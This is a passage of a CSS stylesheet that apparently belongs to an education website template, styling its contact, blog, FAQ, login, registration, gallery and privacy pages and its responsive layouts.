60px 0; font-family: 'texgyreadventorbold'; font-size: 20px; color: #606d87; text-transform: uppercase; } .leave-comment .row1 { display: block; margin-bottom: 30px; } .leave-comment input { width: calc(50% - 25px); height: 46px; padding: 0 20px; float: left; background: none; border: none; border-left: 1px #cbd8de solid; border-bottom: 1px #cbd8de solid; font-size: 12px; font-weight: 700; text-transform: uppercase; color: #7f8385; } .leave-comment input:last-child { float: right; } .leave-comment textarea { width: 100%; height: 130px; margin-bottom: 40px; padding: 10px 20px; float: left; background: none; border: none; border-left: 1px #cbd8de solid; border-bottom: 1px #cbd8de solid; font-size: 12px; font-weight: 700; text-transform: uppercase; color: #7f8385; resize: none; } /* ================================================== */ /* 09. contact page */ /* ================================================== */ .inner-banner.contact { min-height: 156px; padding: 30px 0; } .form-wrapper { display: block; } .form-wrapper .input-row { display: block; } .form-wrapper .row .col-sm-6 { margin-bottom: 40px; } .form-wrapper .row .col-sm-12 { margin-bottom: 40px; } .form-wrapper input { width: 100%; padding: 0 22px; height: 46px; border: none; border-bottom: 1px #dae4e8 solid; border-left: 1px #dae4e8 solid; font-size: 12px; color: #858788; } .form-wrapper textarea { width: 100%; padding: 0 22px; height: 46px; border: none; border-bottom: 1px #dae4e8 solid; border-left: 1px #dae4e8 solid; font-size: 12px; color: #858788; resize:none; height:156px; } .google-map { display: block; position: relative; } .google-map .container { position: absolute; margin: 0 auto; left: 0px; right: 0px; top: 0px; } .google-map #map { height: 548px; z-index: 1; } .google-map #map .gmnoprint { display: none; } .contact-detail { max-width: 360px; margin: 56px 0; float: right; background: #B82921; color: #fff; box-shadow: 0 0 30px #bfcdbf; position: relative; z-index: 2; } .contact-detail .address { display: block; padding: 18px 40px 12px 70px; } .contact-detail .inner { display: block; padding: 18px 0; border-bottom: 1px #f78f89 solid; position: relative; } .contact-detail .inner:before { width: 16px; height: 23px; display: block; position: absolute; left: -30px; font-family: 'icomoon' !important; font-size: 22px; content: "\e918"; color: #f78f89; } .contact-detail .inner:nth-child(2):before { width: 19px; height: 19px; display: block; position: absolute; left: -30px; font-size: 18px; content: "\e918" } .contact-detail .inner:nth-child(3):before { width: 19px; height: 19px; display: block; position: absolute; left: -30px; font-size: 18px; content: "\e91a"; } .contact-detail .inner:nth-child(4) { border-bottom: none; } .contact-detail .inner:nth-child(4):before { width: 21px; height: 15px; display: block; position: absolute; left: -30px; top: 20px; font-size: 16px; content: "\e919"; } .contact-detail .inner h3 { padding-bottom: 6px; font-size: 18px; color: #fff; text-transform: uppercase; } .contact-detail .inner p { color: #f78f89; line-height: 20px; } .contact-detail .inner a { padding-bottom: 6px; font-size: 18px; font-family: 'texgyreadventorbold'; color: #fff; } .contact-bottom { display: block; padding: 27px 0 23px 0; background: #ff9600; text-align: center; } .contact-bottom ul.follow-us { display: block; } .contact-bottom ul.follow-us li { display: inline-block; padding: 0 20px; font-size: 24px; } .contact-bottom ul.follow-us li a { color: #fff; opacity: 0.7; } .contact-bottom ul.follow-us li a:hover { color: #fff; opacity: 1; } .have-question h2 { color: #2d4256; } .have-question ul li { margin-bottom: 0px; } .have-question ul li:after { display: none; } .error { margin: 5px 0 0 0; font-size: 13px; color: #cb0101; } .msg { display: none; } .msg-error { display: block; padding: 6px 20px; margin: 30px 0 0 0; font-size: 13px; color: #fff; background: #c70202; border-radius: 4px; } .msg-error:after { display: inline-block; vertical-align: middle; font-family: 'FontAwesome'; content: "\f071"; float: right; } .msg-success { display: block; padding: 6px 20px; margin: 30px 0 0 0; font-size: 13px; color: #fff; background: #B82921; border-radius: 4px; } .msg-success:after { display: inline-block; vertical-align: middle; font-family: 'FontAwesome'; content: "\f00c"; float: right; } /* ================================================== */ /* 10. blog page */ /* ================================================== */ .inner-banner.blog { min-height: 156px; padding: 30px 0; } .inner-banner.blog .content { margin: 0 auto; text-align: center; } .blog-wrapper { display: block; } .blog-left { display: block; position: relative; } .blog-left:after { width: 1px; height: 100%; display: block; background: #e5e5e5; position: absolute; top: 0px; right: -50px; content: ""; } ul.blog-listing { display: block; } ul.blog-listing > li { padding-bottom: 60px; margin-bottom: 60px; border-bottom: 1px #e9e9e9 solid; } ul.blog-listing > li h2 { padding: 30px 0 20px 0; font-family: 'texgyreadventorregular'; font-size: 24px; color: #343a3c; line-height: 36px; text-transform: none; } ul.blog-listing > li p { padding-bottom: 26px; color: #8d8f8f; } ul.blog-listing > li .read-more { font-family: 'texgyreadventorbold'; font-size: 14px; color: #606d87; text-transform: uppercase; } ul.blog-listing > li .read-more span { vertical-align: middle; margin-right: 7px; font-size: 18px; color: #ff9600; transition: all 0.3s ease 0s; } ul.blog-listing > li .read-more:hover span { color: #B82921; } ul.post-detail { display: block; padding-bottom: 17px; } ul.post-detail li { display: inline-block; padding-right: 20px; font-size: 12px; color: #96adba; } ul.post-detail li .ico { display: inline-block; vertical-align: middle; padding-right: 6px; font-size: 17px; color: #afc0c9; } ul.post-detail li .bold { font-weight: 700; color: #5c7e91; text-transform: uppercase; } ul.post-detail li .label { display: inline-block; padding: 5px 10px; background: #abbfc9 scroll; border-radius: 2px; font-size: 11px; color: #fff; text-transform: uppercase; } .blog-wrapper .pagination > li > a, .blog-wrapper .pagination > li > span { background: #ecf4fa; } .blog-wrapper .pagination > li > a:focus, .blog-wrapper .pagination > li > a:hover, .blog-wrapper .pagination > li > span:focus, .blog-wrapper .pagination > li > span:hover { background: #ff9600; } .blog-right { display: block; padding-left: 100px; } .search-block { display: block; margin-bottom: 40px; background: #e9e9e9; } .search-block input { width: calc(100% - 58px); height: 42px; float: left; padding: 0 20px; border: none; background: none; } .search-block .search { width: 40px; height: 42px; float: right; border: none; background: #ff9600; font-size: 16px; color: #fff; transition: all 0.3s ease 0s; } .search-block .search:hover { background: #B82921; } .blog-right h3 { padding-bottom: 16px; font-size: 17px; color: #606d87; text-transform: uppercase; } .category { display: block; padding-bottom: 70px; } .category h3 { border-bottom: 1px #eee solid; } .category ul { display: block; } .category ul li { display: block; border-bottom: 1px #eee solid; } .category ul li:last-child { border-bottom: none; } .category ul li a { display: block; padding: 10px 0; font-size: 13px; color: #899eaa; } .category ul li a span { display: inline-block; margin-top: 5px; background: #bed1db; float: right; padding: 1.5px 5px; border-radius: 3px; font-size: 11px; font-weight: 700; color: #fff; line-height: 14px; transition: all 0.3s ease 0s; } .category ul li a:hover span { background: #2c97ea; } .recent-post { display: block; padding-bottom: 60px; } .recent-post ul { display: block; } .recent-post ul li { display: block; padding: 15px 0; border-bottom: 1px #eee solid; } .recent-post ul li:last-child { border: none; } .recent-post ul li .img-block { width: 22%; float: left; } .recent-post ul li .detail { width: 78%; padding-left: 15px; float: left; } .recent-post ul li .detail h4 { padding-bottom: 4px; font-family: 'texgyreadventorbold'; font-size: 12px; color: #5f6f77; text-transform: uppercase; } .recent-post ul li .detail p { font-size: 12px; color: #b9c8d0; } .recent-post ul li .detail .ico { padding-right: 7px; font-size: 15px; color: #adbec8; } .recent-post ul li .detail p span { font-weight: 700; text-transform: uppercase; color: #98abb6; } .archives { display: block; padding-bottom: 60px; } .archives h3 { border-bottom: 1px #eee solid; } .archives ul { display: block; } .archives ul li { display: block; border-bottom: 1px #eee solid; } .archives ul li:last-child { border: none; } .archives ul li a { display: block; padding: 10px 0; font-size: 12px; font-weight: 700; color: #899eaa; text-transform: uppercase; } .archives ul li a:hover, .archives ul li:hover span { color: #ff9600; } .archives ul li span { display: inline-block; vertical-align: middle; margin-top: -2px; padding-right: 10px; vertical-align: middle; font-size: 20px; color: #adbec8; } .blog-right .tags { display: block; padding-bottom: 70px; } .blog-right .tags h3 { border-bottom: 1px #eee solid; } ul.tags-list { display: block; padding-top: 24px; } ul.tags-list li { display: block; margin-right: 8px; float: left; margin-bottom: 8px; font-size: 11px; font-weight: bold; } ul.tags-list li a { padding: 4px 10px; color: #fff; background: #abbfc9; text-transform: uppercase; border-radius: 2px; } ul.tags-list li a:hover { background: #B82921; } /* ================================================== */ /* 11. blog detail page */ /* ================================================== */ .imp-quote { display: block; padding: 25px 20px 0 66px; margin-bottom: 30px; border-radius: 4px; background: #eef2f4; position: relative; } .imp-quote:before { position: absolute; left: 26px; top: 30px; font-family: 'icomoon'; font-size: 20px; content: "\e90d"; color: #4181b9; } .imp-quote > p { display: block; font-size: 14px; font-style: italic; color: #79929f !important; line-height: 24px; } ul.blog-listing.detail > li { margin-bottom: 0px; padding-bottom: 50px; } .blog-left ul.follow-us { display: inline-block; padding-right: 15px; margin-top: -17px; background: #fff; } .blog-left ul.follow-us li { display: block; padding: 0 4px; float: left; } .blog-left ul.follow-us li:first-child { padding-left: 0px; } .blog-left ul.follow-us li a { width: 32px; height: 32px; display: block; border-radius: 50%; background: #c6d9ea; font-size: 16px; line-height: 30px; text-align: center; color: #fff; } .blog-left ul.follow-us li a:hover { background: #B82921; border-color: #1c7bc3; } .blog-left .comments-wrapper { background: none; padding: 50px 0 0 0; border-bottom: 1px #dfdfdf solid; } .blog-left .comments-wrapper ul.comments li .com-txt { background: none; } .blog-left .comments-wrapper ul.comments li.col-xs-offset-1 { padding-left: 42px; } .blog-left .leave-comment h4 { padding: 50px 0; } /* ================================================== */ /* 12. 404 page */ /* ================================================== */ .not-found-wrapper { max-width: 480px; margin: 130px auto; padding: 240px 0 0 0; background: url(../images/404-img.html) no-repeat center top / 100%; text-align: center; } .not-found-wrapper h1 { font-size: 186px; color: #bcbfc1 } .not-found-wrapper p { padding-bottom: 60px; font-family: 'texgyreadventorbold'; font-size: 30px; color: #bcbfc1; text-transform: uppercase; } /* ================================================== */ /* 13. FAQ page */ /* ================================================== */ .faq-wrapper { display: block; background: #f3f6f8; } .faq-wrapper .search-block { background: #fff; border-radius: 4px; box-shadow: 0px 4px 4px #eaedef; } .faq-wrapper .search-block input { height: 58px; } .faq-wrapper .search-block .search { width: 58px; height: 58px; border-radius: 0px 4px 4px 0px; } ul.faq-listing { display: block; } ul.faq-listing li { margin-bottom: 25px; position: relative; } ul.faq-listing li:after { width: 1px; height: calc(100% - 25px); display: block; position: absolute; top: 0px; right: 0px; background: #e2e4e6; content: ""; } ul.faq-listing li:nth-child(even):after { display: none; } ul.faq-listing li:nth-child(even) .inner { padding-left: 88px; } ul.faq-listing li:nth-child(even) .inner:before { left: 20px; } ul.faq-listing li:nth-last-child(2) .inner, ul.faq-listing li:last-child .inner { border-bottom: none; } ul.faq-listing li .inner { display: block; padding: 50px 40px 50px 68px; border-bottom: 1px #e2e4e6 solid; position: relative; } ul.faq-listing li .inner:before { position: absolute; left: 0px; top: 58px; font-family: 'icomoon'; font-size: 46px; color: #c5d4da; content: "\e91c"; } ul.faq-listing li h2 { padding-bottom: 20px; font-size: 18px; color: #284962; text-transform: uppercase; line-height: 26px; } .faq-wrapper hr { margin: 0px; border-color: #e2e4e6; } .faq-wrapper .text-center, .testimonial-outer .text-center { margin-top: 80px; } .pagination.blue > li > a, .faq-wrapper .pagination.blue > li > span { background: #e3edf5; } .pagination.blue > li > a:focus, .pagination.blue > li > a:hover, .pagination.blue > li > span:focus, .pagination.blue > li > span:hover { background: #ff9600; } /* ================================================== */ /* 14. login page */ /* ================================================== */ .fill-bg { background: #000; } .fill-bg:after { content: ''; position: fixed; top: 0; right: 0; bottom: 0; left: 0; background: url(../images/login-bg.html) no-repeat center center / cover; background-attachment: fixed; opacity: 0.5; } .login-wrapper { width: 100%; height: 100%; position: absolute; display: table; z-index: 2; } .login-wrapper .inner { display: table-cell; vertical-align: middle; } .login-wrapper .login { max-width: 500px; margin: 30px auto; } .login-wrapper .login-logo { margin-bottom:0; background:#fff; } .login-wrapper .login-logo img { margin: 0 auto; } .login-wrapper .head-block { display: block; padding: 22px 0; text-align: center; background: rgba(255, 255, 255, 0.8); } .login-wrapper .head-block h1 { font-size: 34px; text-transform: uppercase; color: #353434; } .login-wrapper .cnt-block { display: block; padding: 40px; background: #fff; } .form-outer input { width: 100%; height: 46px; margin-bottom: 30px; padding: 0 20px; background: none; border: none; border-left: 1px #dae4e8 solid; border-bottom: 1px #dae4e8 solid; font-size: 12px; font-weight: 700; color: #7f8385; z-index: 2; position: relative; } .login-wrapper .button-outer { display: block; position: relative; } .login-wrapper .or { width: 16%; display: inline-block; font-family: 'texgyreadventorbold'; font-size: 18px; text-align: center; color: #b7c1c4; text-transform: uppercase; } .login-wrapper .btn:hover { background: #B82921; } .login-wrapper .register { display: block; float: right; background: #7f7f7f; } .login-wrapper .register1 { /*display: block; float: right;*/ background: #7f7f7f; } .login-wrapper .remember { display: block; margin: 36px 0 0 0; font-family: 'texgyreadventorbold'; font-size: 12px; text-transform: uppercase; text-align: center; } .login-wrapper .remember .check { display: inline-block; margin-right: 15px; line-height: 15px; color: #6e7e83; } .login-wrapper .remember .check input { height: auto; position: absolute; } .login-wrapper a.forgot { display: inline-block; margin-left: 15px; color: #6e7e83; } .login-wrapper a.forgot:hover { color: #B82921; } .login-wrapper a.forgot span { display: inline-block; margin-right: 8px; width: 20px; height: 20px; color: #fff; line-height: 20px; text-align: center; background: #becfd5; border-radius: 50%; transition: all 0.3s ease 0s; } .login-wrapper a.forgot:hover span { background: #B82921; } .login-wrapper .login-footer { padding: 16px 20px; background: rgba(255, 255, 255, 0.8); text-align: center; } .login-wrapper ul.follow-us { display: block; } .login-wrapper ul.follow-us li { display: inline-block; padding: 0 15px; } .login-wrapper ul.follow-us li a { font-size: 18px; color: #849da6; } .login-wrapper ul.follow-us li a:hover { color: #1e4f61; } /* Base for label styling */ [type="checkbox"]:not(:checked), [type="checkbox"]:checked { position: absolute; left: -9999px; } [type="checkbox"]:not(:checked) + label, [type="checkbox"]:checked + label { position: relative; padding-left: 28px; cursor: pointer; } /* checkbox aspect */ [type="checkbox"]:not(:checked) + label:before, [type="checkbox"]:checked + label:before { content: ''; position: absolute; left: 0; top: -1px; width: 17px; height: 17px; background: #dae4e8; border-radius: 3px; } /* checked mark aspect */ [type="checkbox"]:not(:checked) + label:after, [type="checkbox"]:checked + label:after { font-family: 'icomoon'; font-size: 11px; content: '\e91e'; position: absolute; top: 3px; left: 3px; line-height: 0.8; color: #B82921; transition: all .2s; } /* checked mark aspect changes */ [type="checkbox"]:not(:checked) + label:after { opacity: 0; transform: scale(0); } [type="checkbox"]:checked + label:after { opacity: 1; transform: scale(1); } /* ================================================== */ /* 15. testimonial page */ /* ================================================== */ .testimonial-outer { display: block; } ul.testimonials { text-align: center; border-bottom: 1px #dfe5e1 solid; position: relative; } ul.testimonials:after { width: 5px; height: 100%; display: block; content: ""; position: absolute; right: 0px; top: 0px; background: #fff; } ul.testimonials li { display: block; border-right: 1px #dfe5e1 solid; border-bottom: 1px #dfe5e1 solid; position: relative; } ul.testimonials li .quotblock { display: block; padding: 50px 20px; } ul.testimonials li:nth-last-child(1), ul.testimonials li:nth-last-child(2), ul.testimonials li:nth-last-child(3) { border-bottom: none; } ul.testimonials li:nth-last-child(1):after, ul.testimonials li:nth-last-child(2):after, ul.testimonials li:nth-last-child(3):after, ul.testimonials li:nth-last-child(1):before, ul.testimonials li:nth-last-child(2):before, ul.testimonials li:nth-last-child(3):before { display: none !important; } ul.testimonials li:after, ul.testimonials li:nth-child(2n):before, ul.testimonials li:nth-child(3n):before { width: 5px; height: 7px; display: block; content: ""; background: url(../images/testi-clip.html) no-repeat left top; position: absolute; bottom: -4px; } ul.testimonials li:nth-child(1) .quotblock, ul.testimonials li:nth-child(2) .quotblock, ul.testimonials li:nth-child(3) .quotblock { padding-top: 0px; } ul.testimonials li:after { right: -1px; } ul.testimonials li:nth-child(2n):before, ul.testimonials li:nth-child(3n):before { left: -1px; -moz-transform: scaleX(-1); -o-transform: scaleX(-1); -webkit-transform: scaleX(-1); transform: scaleX(-1); filter: FlipH; -ms-filter: "FlipH"; } ul.testimonials li img { margin: 0 auto 22px; } ul.testimonials li .icon-quote-left-icon { font-size: 20px; color: #ffac34; } ul.testimonials li h3 { padding: 14px 0 2px 0; font-size: 18px; color: #464f53; text-transform: none; } ul.testimonials li .desig { display: block; padding-bottom: 15px; font-size: 12px; font-weight: 700; } ul.testimonials li p { font-family: Georgia, "Times New Roman", Times, serif; font-size: 18px; line-height: 36px; } /* ================================================== */ /* 16. gallery page */ /* ================================================== */ .campus-tour .pagination { margin: 80px 0; } ul.gallery-filter { display: block; padding: 0 30px; border-bottom: 2px #d8e0e7 solid; margin-bottom: 50px; } ul.gallery-filter li { width: 19%; display: inline-block; font-family: 'texgyreadventorbold'; font-size: 18px; text-transform: uppercase; position: relative; } ul.gallery-filter li a { display: inline-block; padding: 0 0 30px 0; color: #909aa1; } ul.gallery-filter li:after { width: 0px; height: 2px; display: block; position: absolute; bottom: -2px; right: 0px; content: ""; background: #B82921; color: #4f4a4a; transition: all 0.5s ease 0s; } ul.gallery-filter li:hover:after, ul.gallery-filter li.active:after { width: 100%; left: 0px; color: #4f4a4a; } ul.gallery-filter li:hover a, ul.gallery-filter li.active a { color: #4f4a4a; } .mfp-counter { left: 0px; right: 0px; margin: 0 auto; text-align: center; } /* ================================================== */ /* 17. news & events page */ /* ================================================== */ .news-wrapper { background: #fff; } ul.news-listing > li { margin-bottom: 30px; } ul.news-listing > li .inner { display: block; padding-bottom: 15px; background: #fff; box-shadow: 0 0 8px #e4e7e9; } ul.news-listing > li img { width: 100%; } ul.news-listing > li .cnt-block { display: block; padding: 40px 30px; } ul.news-listing > li h2 { padding-bottom: 12px; font-family: 'texgyreadventorbold'; font-size: 20px; color: #4d5557; line-height: 30px; text-transform: none; } ul.news-listing > li p { padding-bottom: 26px; color: #8d8f8f; } ul.news-listing > li .read-more { font-family: 'texgyreadventorbold'; font-size: 14px; color: #606d87; text-transform: uppercase; } ul.news-listing > li .read-more span { vertical-align: middle; margin-right: 7px; font-size: 19px; color: #ff9600; transition: all 0.3s ease 0s; } ul.news-listing > li .read-more:hover span { color: #B82921; } .news-wrapper ul.post-detail { padding-bottom: 10px; } .news-wrapper ul.post-detail li .ico { font-size: 17px; } .news-wrapper .text-center { margin-top: 50px; } /* ================================================== */ /* 18. privacy page */ /* ================================================== */ .privacy-wrapper { background: #f1f4f6; } .privacy-wrapper h2 { display: block; padding-bottom: 25px; font-size: 30px; color: #343a3c; line-height: 32px; text-transform: none; } .privacy-wrapper p { padding-bottom: 25px; color: #7d8081; } ul.privacy-listing { padding: 10px 0; } ul.privacy-listing > li { border-bottom: 1px dashed #c9cdce; color: #707c82; font-weight: 700; margin-bottom: 8px; padding: 0 0 15px 24px; position: relative; } ul.privacy-listing > li:last-child { border-bottom: none; } ul.privacy-listing > li:before { display: block; position: absolute; left: 0px; top: 4px; font-family: 'icomoon'; font-size: 12px; color: #79a2c2; content: "\e917"; } ul.privacy-listing > li > ul { padding: 4px 0; } ul.privacy-listing > li > ul > li { font-size: 12px; font-weight: normal; } ul.privacy-listing > li > ul > li:before { display: inline-block; vertical-align: middle; top: -2px; width: 5px; height: 5px; margin-right: 12px; border-radius: 50%; content: ""; background: #98b4cb; } .privacy-wrapper hr { border-color: #daddde; } .privacy-wrapper h3 { display: block; padding-bottom: 25px; font-size: 24px; color: #343a3c; line-height: 32px; text-transform: none; } .privacy-wrapper .padding-top { padding-top: 30px; } .imp-note { display: block; margin: 10px 0 38px 0; box-shadow: 0 0 8px #e4e7e9; padding: 24px 40px 5px 22px; background: #fdfdfe; } .imp-note span { width: 72px; height: 72px; line-height: 52px; margin-right: 25px; display: block; float: left; border-radius: 50%; background: #fec472; font-size: 24px; font-weight: 700; text-align: center; color: #fff; border: 12px #fdf2e4 solid; } .imp-note p { padding-bottom: 25px; font-size: 13px; color: #94a6af; line-height: 22px; overflow: hidden; } ol.ord-listing { padding-left: 68px; counter-reset: li; list-style: none; *list-style: decimal; } ol.ord-listing li { position: relative; min-height: 60px; margin-top: 15px; padding-bottom: 20px; color: #7d8081; border-bottom: 1px #daddde solid; } ol.ord-listing li:before { content: counter(li); counter-increment: li; color: #fff; background: #B82921; border-radius: 50%; font-size: 12px; font-weight: 700; width: 30px; height: 30px; line-height: 30px; text-align: center; display: block; position: absolute; top: 7px; left: -50px; } ol.ord-listing li:last-child { padding-bottom: 0px; border-bottom: none; } /* ================================================== */ /* 19. register page */ /* ================================================== */ .form-outer input.country-code { float: left; width: 16%; } .form-outer input.country-code1 { float: left; width: 30%; margin-left:3%; } .form-outer input.phone-no { float: right; width: calc(84% - 18px); } .register .cnt-block textarea { width: 100%; height: 122px; margin-bottom: 30px; padding: 0 20px; background: none; border: none; border-left: 1px #dae4e8 solid; border-bottom: 1px #dae4e8 solid; font-size: 12px; font-weight: 700; text-transform: uppercase; color: #7f8385; resize: none; } .datepicker { min-width: 260px; border: 1px #dae4e8 solid; box-shadow: none; } .form-outer .date { position: relative; } .form-outer .date .icon-calander-icon { position: absolute; right: 0px; top: 14px; font-size: 19px; color: #aab8be; } .register .cnt-block { padding: 70px 80px; } .register .regiter-inner { max-width: 1000px; padding: 0 15px; margin: 30px auto; } .form-outer h2 { padding-bottom: 14px; font-size: 13px; text-transform: uppercase; color: #353434; } .form-outer ul.select-opt { list-style: none; height: 100%; width: 100%; margin: 0; padding: 0 0 40px 0; } ul.select-opt li { color: #aaa; display: block; position: relative; float: left; font-size: 12px; text-transform: uppercase; } .login-wrapper .cnt-block ul.select-opt li input { height: auto; margin: 0px; } ul.select-opt li input[type=radio] { position: absolute; visibility: hidden; } ul.select-opt li label { display: block; position: relative; padding: 0px 30px 0 26px; margin: 0px; z-index: 9; cursor: pointer; -webkit-transition: all 0.25s linear; } ul.select-opt li .check { display: block; position: absolute; background: #dae4e8; border-radius: 2px; height: 17px; width: 17px; top: 4px; left: 0px; z-index: 5; } ul.select-opt li:hover .check { border: 3px solid #dae4e8; } ul.select-opt li .check::before { display: block; position: absolute; content: ''; border-radius: 2px; height: 11px; width: 11px; top: 0px; left: 0px; margin: auto; } .form-outer input[type=radio]:checked ~ .check { border: 3px solid #dae4e8; } .form-outer input[type=radio]:checked ~ .check::before { background: #ef5b34; } .form-outer input[type="radio"]:checked ~ label { color: #343a3c; } /* ================================================== */ /* 20. apply online page */ /* ================================================== */ .form-outer .select2.select2-container { width: 100% !important; } .form-outer .select2-container--default .select2-selection--single { width: 100%; height: 46px; margin-bottom: 1px; padding: 0 20px; background: none; border: none; border-left: 1px #dae4e8 solid; border-bottom: 1px #dae4e8 solid; font-size: 12px; font-weight: 700; text-transform: uppercase; color: #7f8385; border-radius: 0px; } .form-outer .select2-container--default .select2-selection--single .select2-selection__rendered { padding-left: 0px; color: #7f8385; line-height: 43px; } .form-outer .col-left { float: left; } .form-outer .col-left:first-child { padding-right: 10%; } /* ================================================== */ /* 21. generic UI page */ /* ================================================== */ .generic-wrapper { display: block; } .generic-wrapper .head-block { display: block; padding-bottom: 50px; } .generic-wrapper .head-block h2 { padding-bottom: 10px; } .generic-wrapper .head-block p { color: #7d8081; } .generic-wrapper hr { margin: 0; border-color: #dde5e9; } .generic-wrapper .heading-group { display: block; } .heading-group h1, .heading-group h2, .heading-group h3, .heading-group h4, .heading-group h5, .heading-group h6 { padding-bottom: 30px; } .heading-right { display: block; } .heading-right ul.privacy-listing, .heading-right ul.privacy-listing li:last-child { padding-bottom: 0px; margin-bottom: 0px; } .heading-right p { padding-bottom: 20px; } ul.our-spec { display: block; } ul.our-spec li { width: 33.3%; padding-bottom: 50px; float: left; font-weight: 700; color: #284962; text-align: center; line-height: 20px; } ul.our-spec li .icon { display: block; padding-bottom: 15px; } ul.our-spec li .icon img { border-radius: 3px; } ul.our-spec li:last-child, ul.our-spec li:nth-last-child(2), ul.our-spec li:nth-last-child(3) { padding-bottom: 0px; } .button-group { margin-bottom: 70px; } .button-group a { display: inline-block; vertical-align: middle; } a.btn-circle { width: 60px; height: 60px; margin: 0 8px; display: inline-block; line-height: 64px; border-radius: 50%; text-align: center; background: #ff9600; font-size: 22px; color: #fff; } a.btn-circle.more { background: #B82921; } a.btn-circle.plus { background: #2c97ea; } a.btn-circle.plus:hover { background: #ff9600; } a.btn-circle:hover { background: #2c97ea; } .button-group a.btn { margin: 0 8px; } .generic-wrapper .imp-note { margin: 0px; } .button-group1 { margin: 0; } .button-group1 a.download-pros, .button-group1 a.download-cert { width: calc(50% - 20px); margin: 0 10px; } .generic-wrapper ul.tags-list, .generic-wrapper ul.teachers-follow { padding-top: 0px; margin-bottom: 40px; } .generic-wrapper .enquire-now { margin: inherit; } /* ================================================== */ /* 22. Responsive Style */ /* ================================================== */ @media (min-width: 1200px) and (max-width:1366px) { .logos { padding: 40px 0; } } /* Portrait tablet to landscape and desktop */ @media (min-width: 992px) and (max-width:1199px) { .nav > li > a { padding: 19px 11px; font-size: 13px !important; } .navbar-form { width: 24%; padding: 0 20px; } .banner-outer .content h1 { font-size: 28px; line-height: 48px; } .banner-outer .content h1 span { font-size: 60px; } .news-events ul li .cnt-block h3 { font-size: 18px; } .campus-tour { padding: 60px 0 0 0; padding-bottom: 0px; } .campus-tour ul.gallery li a { width: 50px; height: 50px; line-height: 50px; font-size: 16px; } .campus-tour ul.gallery li h3 { font-size: 20px; } .campus-tour ul.gallery li a { margin: 0 2px; } .campus-tour ul.gallery li .overlay { margin-top: -55px; } .details-tab, .padding-lg { padding-top: 60px; padding-bottom: 60px; } a.download-pros, a.download-cert { padding: 20px 16px; } a.download-pros .txt-block, a.download-cert .txt-block { text-transform: none; } a.download-pros .ico-block, a.download-cert .ico-block { padding-right: 10px; } .logos { padding: 40px 0; } .footer ul.follow-us li a { width: 36px; height: 36px; line-height: 34px; } .footer .connect-us { width: 100%; } .footer .subscribe { width: 100%; padding-right: 30px; } .footer .instagram { padding-right: 0px; } .about-video .container { height: 450px; } .about-video p { font-size: 55px; } .about { padding-bottom: 60px; } .about ul.our-links li { padding: 44px 0 60px 3%; } .course-detail { padding: 20px 30px; margin: 30px 0 0 0; } .course-detail .duration { width: 23%; padding-right: 20px; } .course-detail .duration.eligible { padding: 0 20px; } .course-detail .duration.fee { width: 21%; padding: 0 20px; } .course-detail .btn { margin: 10px 0 0 32px; } .how-apply ul li:nth-child(1):after, .how-apply ul li:nth-child(2):after { top: 54px; } .how-apply ul li p { padding: 34px 0 25px; } .blog-right { padding-left: 60px; } ul.blog-listing > li { padding-bottom: 30px; margin-bottom: 40px; } .blog-left .comments-wrapper ul.comments li.col-xs-offset-1 { padding-left: 53px; } .not-found-wrapper { width: 60%; } .not-found-wrapper h1 { font-size: 186px; } .login-wrapper .login { max-width: 460px; } .login-wrapper .login-logo { margin-bottom:0; text-align: center; } .login-wrapper .login-logo a { width: 250px; display: inline-block; } .login-wrapper .head-block { padding: 22px 0; } .login-wrapper .head-block h1 { font-size: 30px; } .login-wrapper .cnt-block { padding: 30px; } .login-wrapper .or { width: 20%; } .login-wrapper .btn { padding: 10px 20px; } ul.testimonials li p { font-size: 16px; line-height: 30px; } } /* Portrait tablet */ @media (min-width: 768px) and (max-width: 991px) { .header-top ul.follow-us li { padding-right: 12px; } .header-middle .contact ul li { padding: 0 10px; font-size: 12px; } .header-middle a.login { padding: 5px 6px; } .navbar-inverse .navbar-nav > li > a { font-size: 12px; } .navbar-inverse .container { padding: 0px; } .nav > li > a { padding: 18px 4px; } .navbar-form { width: 24%; padding: 0 15px; } .banner-outer .slide1, .banner-outer .slide2, .banner-outer .slide3 { height: 450px; } .banner-outer .content h1 { font-size: 22px; line-height: 40px; } .banner-outer .content h1 span { font-size: 50px; } .banner-outer .slide2 .content h1, .banner-outer .slide3 .content h1 { font-size: 46px; } .banner-outer .content p { font-size: 14px; } .about { padding-bottom: 60px; } .about .video-block a { width: 50px; margin-top: -25px; } .about ul.our-links li { padding: 34px; text-align: center; } .about ul.our-links li .icon { width: 26%; float: none; margin: 0 auto; padding-bottom: 15px; } .about ul.our-links li .detail { width: auto; padding-left: 0px; } .about .btn-wrapper { margin-bottom: 30px; } .our-impotance ul li .inner { padding: 30px 0; } .details-tab, .padding-lg { padding-top: 60px; padding-bottom: 60px; } .our-cources h2, .how-study h2, .why-choose h2, .news-events h2, .campus-tour h2, .testimonial h2, .about h2, .browse-teacher h2, .how-apply h2, .have-question h2 { font-size: 30px; } .our-cources ul.inner li:nth-child(9) { margin-bottom: 160px; } .our-cources ul.inner li:nth-child(3n):after, .our-cources ul.inner li:nth-child(n+10):before { display: none; } .our-cources ul.inner li:nth-child(9):before { width: 100%; height: 1px; position: absolute; left: 0px; bottom: -70px; display: block; background: #fff; content: " "; opacity: 0.3; } ul.our-strength li span { font-size: 38px; } ul.our-strength li { width: 24%; } .news-events ul li .cnt-block { padding: 32px 20px 20px; } .news-events ul li .cnt-block h3 { padding-bottom: 26px; font-size: 18px; line-height: 24px; } .news-events ul li .bottom-block { padding: 20px 0 0; } .news-events ul li .icon { margin-right: 4px; } .news-events ul li .icon span { font-size: 14px !important; } .news-events ul li .cnt-block .plus-icon { width: 54px; height: 54px; line-height: 54px; } .news-events ul li .date span, .news-events ul li .comment span { font-size: 11px; } .how-study ul li .cnt-block { max-width: 152px; } .how-study ul li a.more { right: 10px; } .how-study ul li .cnt-block h3 { font-size: 18px; line-height: 20px; } .campus-tour { padding-bottom: 0px; } .campus-tour ul.gallery li h3 { font-size: 14px; } .campus-tour ul.gallery li a { width: 34px; height: 34px; margin: 0 2px; line-height: 34px; font-size: 14px; } .campus-tour ul.gallery li .overlay { margin-top: -58px; } .campus-tour ul.gallery li:hover .overlay { top: 60%; } .campus-tour ul.gallery li p { padding-bottom: 10px; } .logos { padding: 30px 0; } .testimonial ul li p { font-size: 18px; line-height: 30px; } .testimonial ul li span { font-size: 16px; } .testimonial .wrapper:before, .testimonial .wrapper:after { font-size: 38px; } .footer .footer-logo { padding-bottom: 20px; } .footer p { line-height: 20px; } .footer .bottom { padding: 20px 0; } .footer .connect-us { width: 100%; } .footer .subscribe { width: 100%; 